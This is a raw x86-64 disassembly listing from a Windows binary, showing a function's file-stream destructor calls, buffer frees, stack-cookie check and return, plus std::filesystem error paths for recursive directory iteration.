call fcn.140092a64
nop
mov rax, qword [rsp + 0x100]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_fstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x100], rax
mov rax, qword [rsp + 0x100]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb8]
mov dword [rsp + rcx + 0xfc], edx
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rsp + 0x118], rax
cmp qword [rsp + 0x198], 0
je 0x1400062ec
lea rcx, [rsp + 0x188]
mov rax, qword [rsp + 0x130]
cmp qword [rax], rcx
jne 0x1400062ec
mov rdx, qword [rsp + 0x1a8]
mov rcx, qword [rsp + 0x1a0]
mov qword [rax], rcx
mov rax, qword [rsp + 0x150]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rsp + 0x168]
mov dword [rax], edx
cmp byte [rsp + 0x194], 0
je 0x140006303
lea rcx, [rsp + 0x118]
call fcn.1400079c0
lea rcx, [rsp + 0x118]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x120]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0x1b8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rcx, qword [rsp + 0x28]
test rcx, rcx
je 0x14000635b
mov rdx, qword [rsp + 0x38]
sub rdx, rcx
mov r8d, 1
call fcn.14000de60
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x38], r12
test rdi, rdi
je 0x14000639c
mov rdx, qword [rsp + 0xa0]
sub rdx, rdi
mov rax, rdi
cmp rdx, 0x1000
jb 0x140006393
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006393
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.140092a64
nop
lea rcx, [rsp + 0xf0]
call fcn.14000bfb0
nop
mov rdx, qword [rsp + 0x338]
cmp rdx, 7
jbe 0x1400063f5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x320]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400063f0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400063f0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140092a64
xor eax, eax
mov rcx, qword [rsp + 0x378]
xor rcx, rsp
call fcn.140092a00
lea r11, [rsp + 0x380]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret
call fcn.1400093c0
nop
lea r8, [rsp + 0x320]
mov edx, eax
lea rcx, str.recursive_directory_iterator::recursive_directory_iterator
call fcn.140003080
nop
lea r8, [rsi + 0x20]
lea rcx, str.directory_entry::status
call fcn.140003080
nop
lea r8, [rsi + 0x20]
lea rcx, str.directory_entry::status
call fcn.140003080
nop
call fcn.1400093c0
nop
call fcn.1400093c0
nop
mov edx, eax
call fcn.140002f90
int3